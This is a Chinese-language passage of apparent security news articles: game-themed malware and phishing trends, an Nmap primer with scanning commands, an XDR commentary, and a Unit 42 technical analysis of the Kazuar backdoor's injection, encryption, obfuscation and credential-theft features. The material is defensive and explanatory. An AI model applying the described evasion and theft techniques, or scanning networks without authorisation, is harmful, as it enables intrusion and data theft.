然後，通過使用惡意代碼，它開始悄悄地註冊手機用戶。為了獲取電話號碼(這是完成訂閱所必需的)，應用程序使用谷歌電話號碼提示API。然後，它在一個不可見的窗口中打開訂閱激活頁面，並將收到的用戶號碼插入到相應的字段中。之後，它點擊Subscribe按鈕，從傳入的文本消息中截取確認代碼，並將其粘貼到確認頁面上的必填字段中。

研究還顯示，伊朗的《我的世界》 手機玩家被攻擊次數最多，在這個國家，140482個警報被觸發，影響了54467個《我的世界》 玩家。

《绝地求生:大逃杀》 是卡巴斯基發現的第二大最受攻擊者歡迎的手機遊戲，佔所有警報的5.09%，其中大部分來自俄羅斯聯邦的玩家。

Roblox(3.33%)在檢測數量上排名第三，但在受影響用戶數量上排名第二。其中一個針對Roblox粉絲的惡意軟件家族是SpyNote間諜木馬，它以mod的名義在用戶中傳播。它具有許多間諜功能，例如記錄鍵盤敲擊，記錄屏幕和播放手機攝像頭的視頻，它還可以模仿谷歌和Facebook的官方應用程序，誘騙用戶洩露密碼。

排名第四的手機遊戲是《博德之门》 (Baldur’s Gate)，這是一款目前還沒有正式手機版本的遊戲。大多數受影響的玩家位於俄羅斯聯邦、巴西和土耳其。

6.png

從2022年7月1日到2023年7月1日，威脅用戶遊戲的排名

網絡釣魚活動接下來，我們將深入分析14款遊戲以及其他遊戲作為誘餌的網絡釣魚活動。

虛假遊戲推廣頁面偽裝成流行遊戲的惡意和不受歡迎的軟件通常由提供盜版遊戲的第三方網站傳播。在下面的截圖中，你可以看到這類網站的例子，它們提供“免費”下載Atomic Heart, CS:GO和Euro Truck Simulator。

7.jpeg

其中一些頁面在下載按鈕下方顯示了相對較高的下載數量，很可能向用戶證明該軟件是安全的。點擊這個按鈕會下載一個存檔文件，其中可能包含不需要的甚至是危險的軟件，但不一定是遊戲本身。

8.jpeg

尋找遊戲賬號由於大多數遊戲允許用戶購買和出售有價值的遊戲道具，遊戲賬戶自然而然成為攻擊者緊盯的一個有利可圖的目標，尤其是那些包含大量熱門遊戲以及關聯信用卡的賬戶。

遊戲中最受歡迎的誘惑之一便是免費贈送遊戲內道具或皮膚。下圖報價很可能會導致用戶的Steam或Riot Games賬戶被盜。騙術很簡單，要獲得贈品，用戶必須登錄你的賬戶，這意味著在網絡釣魚網站上輸入用戶憑據。

9.jpeg

《反恐精英》 的粉絲經常會被“免費”皮膚所吸引，這在遊戲中可能是很有價值的財產。去年，一名用戶的賬戶被黑客攻擊，損失了價值200萬美元的皮膚。不幸的是，那些上當受騙的人將失去他們已經擁有的東西，而不是免費獲得一個有價值的皮膚。

10.jpeg

另一個網站提供名為“反恐精英2有限測試”的東西，但只針對那些願意鏈接他們的Steam賬戶的人。但是，如果用戶鏈接了它，它將被洩露，並且無法訪問遊戲的測試版。

11.png

除了遊戲賬戶，攻擊者還瞄準了玩家的社交媒體資料。這些信息對欺詐者來說很有價值，因為它們通常包含大量個人數據和相關的付款細節。此外，社交媒體賬戶經常被用來登錄包括在線遊戲在內的其他服務。最後，通過一個被盜的社交媒體賬戶，攻擊者可以針對受害者的朋友和親屬進行各種詐騙。

12.png

在上面的截圖中，釣魚者用遊戲內的贈品引誘PUBG玩家。如果要參與，你需要登錄你的Facebook、X(以前的twitter)或虛假網站上的其他社交媒體賬戶。一旦你這麼做了，你的登錄憑據就會被盜。

類似的誘餌也被用於詐騙，用戶需要向攻擊者支付一定金額，才能獲得禮品卡、遊戲內貨幣或全新遊戲。通常，在這樣的網站上，你需要首先輸入一些個人信息並填寫一個簡單的調查。然後顯示一個頁面，告訴你你贏得了一個有價值的獎品。在你認領它之前，唯一要做的就是支付一小筆運費。然而，這一通操作下來，受害者不僅損失了支付的錢，而且還洩露了他們的銀行卡。

在下面的截圖中，你可以看到這種騙局的典型例子。攻擊者向用戶提供“免費的Apex傳奇禮品卡”。要獲得這些獎品，你必須首先輸入你的用戶名，然後回答幾個問題，然後支付來獲得獎品。

13.jpeg

對於Roblox玩家，詐騙者通常會提供免費賺取、生成或獲得一些Robux(Roblox中的遊戲貨幣)。與Apex Legends的例子類似，如果用戶試圖提取“賺到的”或生成的錢，他們就必須在一個欺詐網站上付款。

14.jpeg

詐騙者經常採取的另一個選擇是為熱門遊戲提供高額折扣。在下面的截圖中，一個流氓網站假裝以28.7美元的價格出售《星球大战绝地武士:幸存者》 ，這還不到官方價格的一半。

15.png

如果用戶付費，他們很可能什麼也得不到，而且還會損失他們的錢並洩露銀行卡信息。

總結遊戲平台一直是攻擊者的目標，因為它們存儲了大量的個人和財務數據，從付款細節到電子郵件地址以及其他個人身份信息。欺詐者通過竊取遊戲中的物品和貨幣來賺錢，這些物品和貨幣通常在現實世界也有價值。

攻擊者越來越多地利用熱門遊戲，比如《我的世界》 (Minecraft)和Roblox，瞄準年輕用戶，引誘缺乏網絡安全意識、缺乏經驗的電腦用戶使用惡意或不需要的軟件。

綜上所述，年輕玩家的父母必須對孩子進行安全教育，這樣他們才能幫助保護自己的孩子。網上有大量資源可以幫助新玩家遠離網絡攻擊。

卡巴斯基建議用戶：

1.時刻關注孩子的網絡活動，經常與他們一起看他們最喜歡的電視劇或聽音樂。

2.如果你的孩子喜歡某款遊戲，有必要和孩子討論安全問題，向他們解釋網絡安全的意義，向孩子們解釋什麼是敏感信息，為什麼這些信息只能和他們在現實生活中認識的人分享。

3.只從Steam、Apple App Store、Google Play或Amazon Appstore等官方商店下載遊戲。這些市場上的遊戲並非100%安全，但它們至少會經過技術人員的檢查，並且存在某種篩選系統，並非所有應用都能上架。

4.如果你想購買的遊戲不能從應用商店購買，只能從官方網站下載，仔細檢查網站的網址，確保它是真實的。為了進一步保護您的購買，請使用網上銀行保護，例如卡巴斯基產品中的安全貨幣功能。

謹防網絡釣魚活動和不熟悉的玩家，不要打開通過電子郵件或遊戲聊天收到的鏈接，除非你信任發件人。不要打開陌生人給你的文件。

不要下載盜版軟件或任何其他非法內容，即使你從一個合法的網站重定向到它。只在官方網站上購買遊戲更安全。

使用強大、可靠的安全解決方案，將不會減慢你的電腦，同時保護您免受惡意軟件，網絡釣魚和其他威脅。例如，卡巴斯基高級版可以與Steam和其他遊戲服務順利合作，並可以保護計算機和移動設備。

HireHackking

Nmap是Network Mapper（網絡映射器）的縮寫，是一個用於端口和IP掃描以及應用程序檢測的開源工具。網絡和系統管理員將其用於清點網絡資產、管理服務升級計劃和監視服務正常運行時間。

起初，它是作為一款Linux工具而開發的，但現在也可用於Windows和MacOS。用戶還可以在Solaris、AIX或Amiga OS等不太常見的系統上使用Nmap。源代碼以C、C++、Perl和Python等版本提供，可以定制該工具以適用於不同的環境。

管理員用Nmap進行滲透測試，檢查哪些設備在其網絡上運行，Nmap還使他們能夠查看哪些端口是敞開的，並發現潛在的漏洞。

Nmap有什麼用途？大致說來，Nmap允許用戶進行快速的網絡映射，可以幫助團隊優化並保護網絡和數據。它被用於滲透測試、道德黑客活動以及進行其他目的。它最近的一項用途是分析網站服務器和物聯網設備之間的流量。

Nmap由美國網絡安全專家Gordon Lyon開發，下面將逐一介紹Nmap工具的最重要功能：

網絡映射Nmap向用戶顯示哪些類型的設備連接到網絡並使用掃描端口。借助這個命令，用戶可以看到服務器、路由器、交換機及其他設備是如何連接的，他們還可以了解它們如何協同工作，並進一步設想網絡圖。

端口掃描用戶可以使用Nmap檢查哪些端口是敞開的，哪些端口是關閉的。這項功能對於IT團隊來說非常方便，因為他們可以用它來查看防火牆是否在正常工作，對於那些想要防範端口掃描攻擊的人來說，它也派得上用場。

漏洞掃描Nmap還有助於發現網絡容易受到特定威脅攻擊的程度。當發現一個影響特定軟件或軟件版本的新漏洞時，Nmap可以顯示是否有任何連接的機器使用該應用程序，然後IT團隊收到警告，可以通過及時修補系統來避免網絡攻擊。

採集操作系統指紋幫助IT團隊發現設備上運行的所有類型的操作系統。通過這個過程，他們還可以查明這台機器是什麼品牌（戴爾、宏碁或聯想等）。但更有意思的是，IT團隊還可以確定操作系統的補丁級別和端點的估計正常運行時間。

檢查影子ITNmap可以顯示連接到網絡的機器的類型和位置，這有助於管理員發現任何未經正式授權就連接到其網絡的設備（影子IT）。影子IT通常是隱藏的，即使這些機器不一定是惡意的，它們也可能是整個系統面臨的一個風險因素，危險在於設備不包括在網絡安全程序中，享受不到補丁管理策略的益處等。

服務發現與其他映射工具不同，Nmap有助於發現網絡中每個設備的角色。它顯示哪個設備是郵件或網站服務器、哪個是存儲設備、哪個是數據庫存儲庫等。此外，Nmap還顯示正在運行中的應用程序，甚至顯示使用中的應用程序版本。

如何在Linux中使用Nmap？ Linux用戶可以使用來自Insecure.Org的二進制軟件包或者安裝發行版的源代碼。

•二進制軟件包通常是一種安裝起來更快速、更輕鬆的選擇。但是它們必須稍加定制，才能使用發行版的標準目錄路徑。此外，這些軟件包支持定期管理，以便對系統上的軟件進行升級、卸載或審計。然而，發行版創建的軟件包總是落後於Nmap.Org源版本，這顯然是一個缺點，即使大多數Linux發行版保持相當頻繁的更新節奏。

•使用源代碼安裝可以讓用戶更好地控制如何為其係統開發和定制Nmap，可以在官方Nmap頁面（https://nmap.org/book/inst-source.html）上找到更多的相關信息。

如何在Windows上運行Nmap？自2000年發布以來，Windows版本已成為使用Nmap的第二大流行平台。 Windows用戶可以在安裝Nmap的三種方法中進行選擇：

•Windows自安裝程序——這是最容易使用的選項，它是大多數用戶青睞的選擇。它還使用戶能夠安裝Zenmap GUI及其他工具。

•命令行Zip二進製文件——Nmap版本將Windows命令行二進製文件和關聯文件合併到Zip壓縮包中。另一方面，沒有圖形化界面，所以用戶必須打開DOS/命令窗口來運行exe文件。

•從源代碼編譯——對於那些願意幫助開發Nmap的人來說，從源代碼編譯是最好的選擇。為此，你需要Microsoft Visual C++ 2019。任何Visual Studio 2019版本都可以使用，包括免費的Visual Studio 2019社區版。

可以在這裡（https://nmap.org/download.html）找到這三種選擇的更多信息和安裝步驟。

如何在MacOS上運行Nmap？用戶可以使用面向Apple macOS (x86-64)平台的Nmap二進製文件，它作為含有安裝程序的磁盤映像文件而存在。安裝程序支持Nmap、Zenmap、Ncat和Ndiff，這些程序在Mac OS X 10.9和其他更新版本上進行了測試。

MacOS用戶也有安裝Nmap的更多選擇：

•可執行安裝程序——這是在Mac設備上安裝Nmap或Zenmap的最簡單方法。

•從源代碼編譯——這需要蘋果的開發工具Xcode。因為它不是默認安裝，所以必須從Mac應用程序商店免費下載。

•使用第三方軟件包——在MacOS上安裝Nmap的第三種選擇是使用一個打包Unix軟件的系統。 Nmap官方頁面推薦使用Fink或MacPorts。

與Windows一樣，在MacOS上運行Nmap的第一步是從這裡（https://nmap.org/download.html#macosx）下載。然後按照操作說明（https://nmap.org/book/inst-macosx.html），在MacOs上正確安裝和運行Nmap。

除Nmap之外的另外5款開源網絡掃描工具Nmap可能是最出名的網絡掃描工具，但它肯定不是唯一的。下面是另外一些主流的類似選擇：

•Metasploit框架Metasploit起初是一個開源滲透測試工具。它現在是一個商業網絡掃描工具，用於網絡漏洞檢測。

•SnortSnort是一個開源免費的網絡入侵檢測工具。它基於協議分析和內容檢查，可以檢測不同類型的網絡漏洞（比如蠕蟲），並且可以掃描端口。

•OpenSSH這個開源工具專門用於UNIX環境。 SSH是Secure Shell的縮寫，在不受信任的主機之間通過不安全的網絡鏈路建立安全的加密通信機制。它通過加密網絡流量來消除諸多網絡問題：竊聽不可信的連接和劫持兩台主機之間的連接。

•OpenVAS這是另一個免費的網絡安全掃描工具。它提供全面的網絡掃描、網站服務器和應用程序掃描，還提供WordPress掃描。

•Angry IP Scanner另外，開源工具Angry IP Scanner不僅提供IP地址掃描，還提供端口掃描。使用該工具可以訪問主機名、NetBIOS、MAC地址和工作組信息等信息。

系統管理員最常用的5個Nmap命令基本掃描•Ping掃描——使用nmap-sp192.168.1.1/24顯示連接到網絡的全部設備。

•掃描單個主機——使用nmap scanme.nmap.org掃描一個主機，以掃描1000個密集使用的端口，這些端口被SQL、SMTP、apache等服務使用。

版本掃描在進行滲透測試時，IT團隊需要找出正在使用的應用程序版本，然後，他們可以搜索通用漏洞披露（CVE）數據庫中的現有漏洞，以查找服務的某個版本，進而測試網絡對它的響應。

使用'-sV'命令進行版本掃描：nmap-sV scanme.nmap.org。

進攻性掃描' -A '參數允許操作系統檢測、版本檢測、腳本掃描和跟踪路由。雖然進攻性掃描提供了比常規掃描了更好的信息，但它們發出的探針（probe）更多。對於系統管理員來說，安全審計期間更容易檢測到它們。要執行進攻性掃描，請使用nmap -A scanme.nmap.org。

掃描多個主機多主機掃描可以幫助那些管理大型網絡基礎設施的人。有四種方法可以使用這個選項：

•在一行中輸入所有的IP地址，以便一次性掃描所有主機：nmap192.164.1.1 192.164.0.2 192.164.0.2。

•輸入星號(*)表示一次性掃描所有子網：nmap192.164.1.*。

•不要鍵入整個域名，使用逗號分隔地址結尾：nmap192.164.0.1,2,3,4。

•輸入連字符表示IP地址範圍：nmap192.164.0.0—255。

端口掃描由於端口掃描是Nmap的主要功能之一，所以有不止一種方法來使用它：

•使用'-p'參數進行單端口掃描：nmap-p973 192.164.0.1。

•如果指定端口類型，Nmap允許你掃描查找關於特定類型連接的數據：Nmap-p T:7777, 973 192.164.0.1。

•如果你想掃描整個範圍的端口，用連字符區分它們：nmap-p76—973 192.164.0.1。

•使用'-top-ports'標誌來指定要掃描的前n個端口：nmap-top-ports10 scanme.nmap.org。

HireHackking

如今，眾多攻擊者利用無惡意軟件的間諜技術實施無法檢測到的破壞，依靠合法的系統工具和寄生攻擊（LOTL）技術來滲入端點。無惡意軟件的攻擊有賴於用戶對合法工具的信任，很少生成唯一的特徵碼，並且依賴無文件執行。

在CrowdStrike追踪分析及其《2023年威胁狩猎报告》 闡述的所有惡意活動中，CrowdStrike威脅圖索引的檢測中有71%沒有惡意軟件。總共有14%的入侵事件依賴基於Falcon OverWatch跟踪的活動的遠程監控和管理（RMM）工具，攻擊者增加了使用RMM工具進行無惡意軟件攻擊的數量，同比增長了驚人的312%。

隨著FraudGPT標誌著武器化人工智能新時代開始到來，而企業面臨輸掉人工智能戰爭的風險。人工智能、機器學習和生成式人工智能整合到擴展檢測和響應（XDR）中就需要快速行動起來，以阻止無惡意軟件和人工智能帶來的新攻擊。

XDR提供了CISO們一直所需要的那種整合。

XDR改善了信噪比通過依賴在大規模整合的API和平台，XDR平台充分利用了每個可用的遙測數據源，以便實時檢測和響應潛在的入侵和破壞企圖。事實證明，這些平台能夠有效地減少網絡噪聲，並發現表明潛在入侵或攻擊的信號。

據Cynet 2022年對CISO開展的調查顯示，XDR對CISO們來說是一種有效的整合策略：96%的CISO計劃整合其安全平台，63%的CISO表示XDR是自己的首選解決方案。

幾乎所有接受調查的CISO都表示，整合工作已在他們的路線圖上，高於2021年的61%。 Gartner公司預測，到2027年年底，多達40%的企業將使用XDR來減少現有安全供應商的數量，而如今這個比例還不到5%。

所有XDR領導者都有一個特點，那就是他們的團隊中人工智能和機器學習方面的人才密度很高。領先的XDR平台提供商包括：博通、思科、CrowdStrike、飛塔、微軟、派拓網絡、SentinelOne、Sophos、TEHTRIS、趨勢科技和VMWare。

1.png

圖1. 圖片來源：CrowdStrike博文《XDR是什么？》

做好XDR：從端點入手端點是企圖大規模入侵的攻擊者秘密潛入的首選通道：在62%以上的時間裡，攻擊者使用竊取而來的身份訪問試圖獲取訪問權，並不斷微調間諜技術，以期找到身份和端點安全方面的缺口，這是端點最薄弱的環節。

保險、金融服務和銀行業的CISO告訴外媒，端點是需要保護的威脅面，面臨的挑戰最大。 IT團隊和安全團隊通常不知道自己有多少端點、每個端點在哪裡及其軟件物料清單（SBOM）。清理端點代理散亂問題和實現補丁管理自動化是許多CISO一開始想要實現的目標。

CISO們表示，常常發現端點上安裝過多的代理，以至於從安全的角度來看無法運作，軟件衝突使得端點更容易受到攻擊，因而它們更難遠程管理，可能會削弱性能。

Absolute Software公司的《2023年弹性指数》 使用了其5億個端點設備的匿名遙測數據，以了解其客戶平均擁有多少個端點。結果發現，典型的企業設備安裝了11個安全代理，其中2.5個用於端點管理，2.1個用於反病毒/反惡意軟件，平均1.6個用於加密。 Absolute的設備遙測數據發現，企業設備上平均安裝了67個應用程序，其中10%的設備安裝了100多個應用程序。

端點補丁管理自動化一家製造商的CIO告訴外媒，雖然打補丁的工作一直是重中之重，但自己沒有足夠多的員工來確保所有補丁都是最新版本。 CISO的同事們一致認為，補丁管理只有在緊急情況下才會得到關注，即在遭到入侵或破壞之後。

這個結論與Ivanti公司的《2023年安全准备状况报告》 相一致，Ivanti發現，在61%的時間裡，外部事件、入侵企圖或洩密重新啟動補丁管理工作。

Mukkamala告訴外媒，他預計補丁管理會變得更加自動化，人工智能助理會提供更多的上下文信息和更高的預測準確性。

2.png

圖2. 圖片來源：Ivanti

Ivanti的漏洞風險評級（VRR）評分方法依賴0到10之間的分配分數，該分數表明漏洞對組織或企業的風險。風險越高，VRR就越高。

AI通過自癒合端點增強XDR彈性在零信任環境下做好網絡彈性從端點入手。董事會和向董事會匯報的CISO表示，網絡彈性現在被認為是風險管理的必備條件。 Absolute Software的《2023年弹性指数》 反映了在遵守合規要求才能連接這個趨勢下面臨的挑戰。平衡網絡安全和網絡彈性是目標。

CISO們表示，自癒合端點是穩固的網絡彈性戰略的基石。自癒合端點提供可靠的實時遙測數據流來訓練人工智能和機器學習模型，並夯實XDR平台。與上一代基於約束和規則的解決方案相比，它們還更難以逃避和破壞。基於人工智能和機器學習的端點可以在短短幾毫秒內檢測並應對潛在的攻擊，鑑於機器對機器攻擊迅速增多，這麼快的響應時間對如今的企業來說是基本要求。

領先的自癒合端點供應商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、邁克菲和Microsoft 365。有媒體採訪了每家供應商的客戶，發現Absolute的方法嵌入到超過5億個端點設備的固件中，為SOC團隊提供他們及其XDR平台所需的實時遙測數據方面是最可靠的。

XDR：對抗武器化人工智能的首道防線如果網絡安全行業及其服務的許多組織要保持安全，XDR平台就需要加快步伐，充分發揮人工智能和機器學習技術的全部價值這一挑戰。人工智能戰爭誰也輸不起，攻擊者將身份和端點方面的缺口視為控製網絡和基礎設施的機會。

最令人不安的是，傳統的基於邊界的系統假定對每個身份、端點和連接都有無限的信任，一旦攻擊者闖入了端點，就可以不受限制地訪問任何系統。

做好XDR需要從端點入手。清理代理散亂問題將有助於提高端點可見性和性能，並使用具有學習能力的人工智能和機器學習技術實現補丁管理自動化，而不是等待下一次安全事件發生，這會讓IT團隊避免攻防演習和浪費的時間。

自癒合端點是網絡彈性的基石。夯實這方面是充分利用XDR架構的先決條件，而XDR架構可以發揮其保護組織核心業務功能和客戶的潛力。

HireHackking

PA-Pensive-Ursa-Centre.jpg

在追踪Pensive Ursa(又名Turla, Uroburos)的迭代中，Unit 42的研究人員發現了Kazuar一個新的升級變體——一個先進而隱秘的.NET後門，Pensive Ursa通常將其用作第二級有效負載。

“Pensive Ursa”是一個總部位於俄羅斯的攻擊組織，至少從2004年開始活動，與俄羅斯聯邦安全局(FSB)有聯繫。

烏克蘭CERT在2023年7月報告說，這個版本的Kazuar是針對烏克蘭國防部門的，背後攻擊組織的目標是敏感數據，比如Signal消息、源代碼控制和雲平台數據。

自從Unit 42在2017年發現Kazuar以來，研究人員只在野外看到過幾次，主要針對歐洲政府和軍事部門的組織。由於代碼相似，Sunburst後門與Kazuar聯繫在一起，這表明了它非常複雜。自2020年底以來，研究人員沒有在野外看到新的Kazuar樣本，但有報導稱Kazuar正在不斷開發中。

正如Kazuar升級版的代碼所揭示的那樣，Kazuar的開發者正在增強器隱形操作能力，他們使用各種先進的反分析技術，並通過有效的加密和混淆實踐來保護惡意軟件代碼。

Kazuar概述Kazuar是一種先進的、隱秘的.NET後門，Pensive Ursa通常將其作為第二階段的有效負載，與攻擊組織通常使用的其他工具一起傳播。

最近烏克蘭CERT報告的活動揭示了Kazuar的多階段傳播機制，以及其他工具，如新的Capibar第一階段後門。研究人員對這個新版本的技術分析顯示，它的代碼結構和功能都有了顯著的改進。

這篇文章將詳細介紹以前未記錄的功能，包括：

全面的系統分析：廣泛的數據收集。

竊取雲和其他敏感應用程序的憑證：竊取雲應用程序帳戶、源代碼控制和信號消息傳遞應用程序。

擴展命令集：總共支持45個命令，從另一個Kazuar節點或命令和控制(C2)服務器接收。

增強的任務自動化：攻擊者可以打開/關閉的一系列自動化任務。

可變加密方案：不同加密算法和方案的實現。

注入模式：多種注入模式，允許Kazuar從不同的進程運行並執行不同的功能。

至少從2018年開始，Kazuar的變體改變了它們的混淆方法，一些變體使用ConfuserEx混淆器加密字符串，其他變體使用自定義方法。

本文分析的Kazuar變體實現了多個自定義字符串加密方法，與以前的變體不同，該變體只關注Windows操作系統。

在分析Kazuar的代碼時，研究人員使用dnSpy將代碼導出到集成開發環境(IDE)中，並使用自定義腳本解密字符串。這允許研究人員編輯單獨的.cs文件，並將一些方法名稱編輯成有意義的名稱。研究人員已經解釋了屏幕截圖中出現的方法名。

最新Kazuar變體的詳細技術分析元數據其他研究機構的報告顯示，至少從2018年開始，Kazuar的開發者就在操縱他們樣本的時間戳。這個新變體的編譯時間戳是星期四，2008年11月20日10:11:18 AM GMT。與其他公開可用的變體不同，這是開發者第一次回溯到2008年偽造時間戳。

Kazuar還包含代理版本和BuildID的硬編碼、哈希標識符以及代理標籤。這些可以用作變體標識符，如下圖所示。

1.png

Kazuar樣本基本配置信息

初始化執行程序集檢查在執行Kazuar時，它使用Assembly.Location屬性來接收自己的文件路徑並檢查其名稱。只有當返回的值為空字符串時，Kazuar才會繼續執行，如圖所示。從字節數組加載文件時，Assembly.Location屬性返回一個空字符串。

這種檢查似乎是反分析機制的一種簡單形式，以確保惡意軟件的執行是由預期的加載程序完成的，而不是通過其他方式或軟件完成的。

Kazuar執行後，如果它的文件名匹配一個特定的硬編碼哈希名稱(使用FNV算法)。這種行為可能是為了調試目的，讓開發者避免在每次調試惡意軟件時使用加載程序。

2.png

檢查Kazuar變體的配置名稱

創建操作根目錄Kazuar創建一個新目錄來存儲它的配置和日誌數據，它使用%localappdata%作為主存儲路徑，並從硬編碼路徑列表中確定其根目錄。

Kazuar根據設備全局唯一標識符(GUID)選擇要使用的根目錄、文件夾名、文件名和文件擴展名，如下圖所示。雖然這些名稱乍一看似乎是隨機生成的，但GUID的使用意味著它們將在同一台受攻擊的設備上每次執行惡意軟件時保持相同的名稱。

3.png

負責返迴路徑數組索引的方法

與以前的變體一樣，Kazuar使用結構化目錄方案來保存其日誌文件和其他數據，如單個配置文件和鍵盤記錄器數據。目錄命名是偽隨機的，是根據哈希選擇的。示例包括在前面的變體中看到的FNV哈希算法的自定義實現，以及對GUID值的其他操作。

值得一提的是，在代碼中有一個當前未引用的選項，用於創建一個名為wordlist的文件。這個文件可以為研究人員提供一個尚未實現的功能的線索，也許是使用目錄、文件名或密碼暴力破解的單詞列表。

配置文件惡意軟件創建一個單獨的主配置文件，其中包含以下數據：

C2服務器；

注入模式；

其他運行配置數據；

下圖顯示了下面這個文件的一個片段，你可以在附錄中找到Kazuar配置文件的加密方法。

4.png

配置文件的片段

互斥鎖名稱生成Kazuar正在使用互斥鎖來檢查其註入到另一個進程中。 Kazuar通過異或處理當前進程ID和硬編碼值0x4ac882d887106b7d來生成它的互斥鎖名，然後用設備的GUID 異或處理它，如下圖所示。這意味著幾個Kazuars可以在同一設備上串聯操作，只是不注入到同一過程中。

5.png

互斥對象名稱生成

體系結構設置Kazuar的注入模式新版本的Kazuar使用了它在配置中描述的“注入模式”，如表所示，默認模式為inject：

6.1.png

6.2.png

Kazuar注入模式和描述

在zombify模式下，Kazuar被注入到用戶的默認瀏覽器中，並有一個回退機制，在默認瀏覽器的查詢失敗時將自己注入到svchost.exe中。下圖顯示了Kazuar的開發者通常使用zombify一詞來處理進程注入：

7.png

Kazuars在zombify模式下的代碼注入片段

多線程模型Kazuar以多線程模式運行，而Kazuar的每個主要功能都作為自己的線程運行。換句話說，一個線程處理來自其C2的接收命令或任務，而求解線程處理這些命令的執行。這個多線程模型使Kazuar的開發者能夠建立一個異步和模塊化的流控制。任務解析流如下：

8.png

Kazuar的任務解決機製圖

任務解析器組件：Kazuar的PuppeteerKazuar接收新任務，解決它們並將輸出寫入結果文件。求解線程正在處理從C2服務器或另一個Kazuar節點接收到的新任務。然後對任務內容進行加密，並將其寫入磁盤的任務文件中。

每個任務文件實現一個混合加密方案：

1.使用RNGCryptoServiceProvider生成兩個包含隨機數的字節數組，它們分別是16和32字節。 1.1使用第一個數組作為AES (Rijndael)初始化向量(IV)。使用第二個數組作為AES密鑰。

2.在將結果加密並寫入磁盤之前，基於內存中的result內容生成HMACMD5哈希，使用上面第一個項目中描述的數組作為密鑰。

3.用硬編碼的RSA密鑰加密HMACMD5哈希、AES密鑰和IV，並將加密後的BLOB寫到文件的開頭。通過使用快速的AES算法來加密較大的對象，例如結果的內容，並使用較慢的RSA加密來隱藏AES密鑰和IV, Kazuar提高了其性能。這還禁用了僅從磁盤恢復受攻擊文件的選項，因為對稱密鑰是使用非對稱密鑰加密的。

4.使用AES加密來加密result文件的內容。

如下圖所示，任務完成後，生成的結果文件將保存到磁盤上：9.png

Kazuar加密和寫入結果文件方法片段

除了上述加密數據外，Kazuar還將以下字段寫入結果文件的開頭：

1.四個零字節(研究人員認為這是一種分隔符)；生成的結果標識符；

2.加密GUID的長度，使用與初始化部分相同的異或算法(這裡的加密消息是“System info at [datetime] (-07)”)；

3.加密的GUID本身；

4.RSA加密HMACMD5哈希，IV以及AES密鑰；

5.AES加密後的任務內容。

下圖顯示了來自磁盤的加密結果文件內容：

10.png

來自磁盤的加密結果文件內容

字符串加密Kazuar的代碼包含大量與功能和調試相關的字符串。當以純文本形式顯示時，它們揭示了Kazuar的內部工作原理和功能。為了避免研究人員創建基於字符串的指示YARA和檢索規則，Kazuar的字符串是加密的，它在運行時解密每個字符串。

Kazuar使用愷撒密碼（Caesar cipher）的變體作為字符串加密/解密算法。在這個算法中，Kazuar實現了一個簡單地交換每個成員的密鑰和值的字典。最近的Kazuar變體只實現了一個字典，而新的變體實現了多個字典，每個字典包含80對字符，如下圖所示。

11.png

包含用於字符串解密的字典類

下圖顯示了在給定字符串上迭代的循環，並檢查給定字符的序數值是否在相關類的字典鍵中。如果是，Kazuar交換鍵和值，並將其附加到精心製作的字符串。否則，它將保持原來的字符。

除了字符串混淆之外，開發者還為代碼中的類和方法提供了無意義的名稱，以使分析更加困難。

12.png

創建反混淆字符串的循環

Kazuar解碼的其中一個字符串返回值“Invalid pong response”，如下圖所示。似乎有一個惡意軟件的編碼員忘了把俄語中的C換成英語中的S。

13.png

' response '字符串中的錯別字

核心功能為了避免宕機，Kazuar使用被劫持的合法網站作為其C2基礎設施，這是Pensive Ursa的典型做法。此外，正如在註入模式一節中提到的，Kazuar還支持通過命名管道進行通信。它使用這兩種機制來接收遠程命令或任務(如代碼中所述)。

支持的C2命令Kazuar支持從C2接收的45種不同任務，如下表所示。相比之下，Kazuar在2017年分析的第一個變體僅支持26個C2命令。

研究人員將Kazuar的命令分為以下幾類：

主機數據收集；

擴展取證數據收集；

文件處理；

任意命令執行；

與Kazuar的配置交互；

註冊表查詢和操作；

腳本執行(VBS, PowerShell, JavaScript)；

自定義網絡請求；

竊取憑證和敏感信息；

14.1.png

14.2.png

14.3.png

14.5.png

14.6.png

Kazuar支持的C2命令

雲、源代碼管理和消息應用程序憑證盜竊Kazuar能夠通過接收來自C2的竊取或無人參與命令，嘗試從受攻擊計算機中的許多工件中竊取憑證。這些工件包括多個眾所周知的雲應用程序。

Kazuar可以嘗試竊取包含這些應用程序憑證的敏感文件。 Kazuar針對的工件包括Git SCM（一種在開發人員中流行的源代碼控制系統），以及Signal（一種用於私人即時消息的加密消息服務）。

15.png

Kazuar可能試圖竊取的Git SCM憑證的代碼片段

全面的系統評測當Kazuar最初生成一個唯一的解析線程時，它自動執行的第一個任務是對目標系統進行廣泛的收集和分析，Kazuar的開發者將其命名為first_systeminfo_do。 Kazuar將收集有關受攻擊計算機的大量信息，並將其發送給C2。這包括有關操作系統、硬件和網絡的信息。

Kazuar將這些數據保存到info.txt文件中，並將執行日誌保存到logs.txt文件中。如任務解析部分所述，我們可以在內存中看到結果。在本文的樣本中，它是一個存檔，如下圖所示。

16.png

內存中first_systeminfo_do壓縮的結果

除了前面提到的兩個文本文件之外，作為該任務的一部分，惡意軟件還會截取用戶的屏幕截圖。下圖顯示了在加密並發送到C2之前將所有這些文件壓縮到一個文件中的過程：

17.png

加密前first_systeminfo_do存檔提取內存的結果

創建自動任務(auto)Kazuar能夠設置以指定間隔運行的自動任務，以從受攻擊的計算機收集信息。下圖顯示了Kazuar配置中記錄的該功能的一個示例。

這些自動化任務包括：

收集系統信息；

屏幕截圖；

竊取憑證；

獲取取證數據；

獲取自動運行數據；

正在從指定的文件夾中獲取文件；

獲取LNK文件列表；

使用MAPI竊取電子郵件；

18.png

Kazuar的Autos函數配置

監控活動窗口(Peeps)Kazuar有能力讓攻擊者在配置中設置他們所謂的“peep rules”。雖然Kazuar沒有自帶這些規則，但根據惡意軟件的代碼，似乎這個功能使攻擊者能夠監控指定進程的窗口。這使得攻擊者可以跟踪受攻擊設備上感興趣的用戶活動。

與CC的通信HTTP在與C2服務器建立通信之前，除了上述反分析檢查外，Kazuar還檢查配置數據發送時間間隔，該檢查包括確定是否應該在周末發送數據。

在首次通信時，Kazuar以XML格式發送收集到的數據，並期望獲得帶有新任務的XML結構化響應。

Kazuar使用硬編碼值169739e7-2112-9514-6a61-d300c0fef02d轉換為字符串，並將Base64編碼為cookie。

19.jpeg

HTTP POST命令，其正文中包含發送到C2的XML

Kazuar為XML生成密鑰名，Base64在將內容髮送到C2之前對其進行加密。 XML的內容包括：

結果文件的加密內容；

結果標識符；

